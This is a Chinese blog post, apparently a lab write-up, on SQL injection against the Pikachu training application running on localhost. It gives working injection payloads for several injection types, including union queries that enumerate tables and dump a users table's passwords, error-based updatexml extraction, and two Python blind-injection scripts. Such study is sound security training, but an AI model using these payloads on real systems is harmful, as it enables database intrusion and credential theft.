pikachu-SQL注入漏洞源码分析及修复

概述

在这里插入图片描述
小声:pikachu最后一篇,严重偷懒hh

源码分析

数字型注入

首先测试一下id=1’,报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1,由此猜测是数字型注入,后台语句很有可能是"select ... from ... where id=某个数字"
于是抓包改为id=2 or 1=1,这样使得where的条件永远为真

在这里插入图片描述
得到全部人的信息
在这里插入图片描述
代码分析
后端直接拼接了id参数,导致漏洞。
在这里插入图片描述

字符型注入

输入1’测试一下,回显报错信息,猜测是字符型注入
在这里插入图片描述
构造1’ or '1'='1
在这里插入图片描述

输入-1' union select 1,database()#,暴库,进而可以暴表暴字段
在这里插入图片描述
代码分析
在这里插入图片描述

搜索型注入

测试一下输入数字1,回显出所有用户名中有1的,输入字母l,回显出用户名中所有有l的。于是猜测后台是like %%查询。
后台语句可能为select … from … where username like ‘%用户输入%’
于是输入%'#,查询出所有人的信息
在这里插入图片描述
输入l%' union select 1,2,database()#,暴库
在这里插入图片描述

输入l%' union select 1,2,table_name from information_schema.tables where table_schema=database()#,暴表

在这里插入图片描述

在这里插入图片描述
输入l%' union select 1,2,column_name from information_schema.columns where table_name='users' and table_schema=database()#,暴users表的列名

在这里插入图片描述

输入l%' union select 1,2,password from users#,暴password列的值
在这里插入图片描述
代码分析

在这里插入图片描述

xx型注入

测试以下输入lucy',报错回显You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''lucy'')' at line 1,可猜测后台语句
select .. from .. where ..=('用户输入')

输入-1') union select 1,database()#暴库
在这里插入图片描述
代码分析
在这里插入图片描述

“insert/update”注入

输入d ' or updatexml(1,concat(0x7e,concat(database(),0x7e)),0) or ',暴库

在这里插入图片描述
代码分析
在这里插入图片描述

“delete”注入

在这里插入图片描述代码分析
在这里插入图片描述

“http header”注入

把头信息回显出来,猜测可能是header注入
在这里插入图片描述
暴库
在这里插入图片描述
代码分析
在这里插入图片描述

盲注(base on boolean)

暴数据库名的长度

在这里插入图片描述
脚本:

url='http://localhost/pikachu/vul/sqli/sqli_blind_b.php'

for i in range(1,30):
    hurl=url+"?name=lucy' and length(database())>={0}--+&submit=查询".format(i)
    r=requests.get(hurl)
    m=r.text
    if 'email' in m:
        print(hurl)
        print(i)
    else:
        break

暴库暴表等脚本下次来补
代码分析
没有报错回显,但根据参数的boolean值有页面显示的区别,适合盲注

在这里插入图片描述

盲注(base on time)

暴数据库名的长度
在这里插入图片描述
py脚本

import requests,re
import time


#for i in range(1,30):
url='http://localhost/pikachu/vul/sqli/sqli_blind_t.php'

for i in range(1,30):
    startTime=time.time()
    hurl=url+"?name=lucy' and if(length(database())>={0},1,sleep(10))--+&submit=查询".format(i)
    r=requests.get(hurl)
    m=r.text
    if time.time()-startTime<8:
        print(hurl)
        print(i)
    else:
        break

暴库暴表等脚本下次来补
代码分析
报错不回显,参数变化显示页面也一样,适合时间盲注
在这里插入图片描述

宽字节注入

在这里插入图片描述

在这里插入图片描述

原理不赘述,转这里:https://www.jianshu.com/p/4fe931da9550
代码分析
虽然有转义,但是因为编码是gbk
在这里插入图片描述

修复

PDO

发布了27 篇原创文章 · 获赞 8 · 访问量 8251

猜你喜欢

转载自blog.csdn.net/weixin_41652128/article/details/100668669